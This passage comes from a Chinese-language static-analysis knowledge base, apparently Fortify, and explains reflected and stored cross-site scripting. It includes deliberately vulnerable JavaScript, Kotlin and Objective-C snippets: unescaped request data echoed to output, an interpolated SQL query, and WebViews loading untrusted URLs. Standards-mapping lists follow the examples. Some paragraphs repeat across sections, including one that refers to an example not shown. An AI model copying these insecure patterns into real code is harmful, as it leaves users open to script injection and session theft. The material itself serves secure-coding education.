http.createServer(listener).listen(8080);


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞会在以下情况下发生:

1.数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:下面的代码可在一个 HTTP servlet 请求中读取雇员 ID eid,并在 servlet 响应中将值显示给该用户。


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:下面的代码片段会根据一个特定的雇员 ID 来查询数据库,并在 servlet 响应中输出相应的雇员姓名。


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

有些人认为在移动环境中,典型的 Web 应用程序漏洞(如 Cross-Site Scripting)是无意义的 -- 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。

示例 3:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

- 如Example 3 中所示,应用程序外部的源会将危险数据存储在数据库或其他数据存储中,随后这些危险数据会作为可信数据读回到应用程序并包含在动态内容中。


许多现代 Web 框架都会提供对用户输入执行验证的机制(包括 Struts 和 Spring MVC)。为了突出显示未经验证的输入源,Fortify 安全编码规则包会对 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题动态重新调整优先级,即在采用框架验证机制时降低这些问题被利用的几率并提供指向相应证据的指针。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队开发了 Data Validation(数据验证)项目模板,该模板根据应用于输入源的验证机制按文件夹对问题进行了分组。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_reflected
Abstract
该方法向 Web 浏览器发送未经验证的数据,会导致导致浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入网页。对于 Reflected XSS,不可信赖的数据源通常为用户组件、URL 方案处理程序或通知,而对于 Persistent(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2. 未检验包含在动态内容中的数据,便将其传送给了 UIWebView 组件。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。


示例 1:下面的 Objective-C 代码片段会读取传递至并调用应用程序 (myapp://input_to_the_application) 的自定义 URL 方案的文本部分。然后,该 URL 中不受信赖的数据将用于呈现 UIWebView 组件中的 HTML 输出。


- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 内容中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,数据会直接从自定义 URL 方案中读取,并反馈回 UIWebView 响应的内容中。当攻击者诱使用户为易受攻击的 iOS 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生 Reflected XSS 漏洞利用。传递恶意内容的最常见机制是,将其作为参数包含在公开发布或通过电子邮件直接发送给受害者的自定义方案 URL 中。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击应用程序的 URL。该应用程序将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
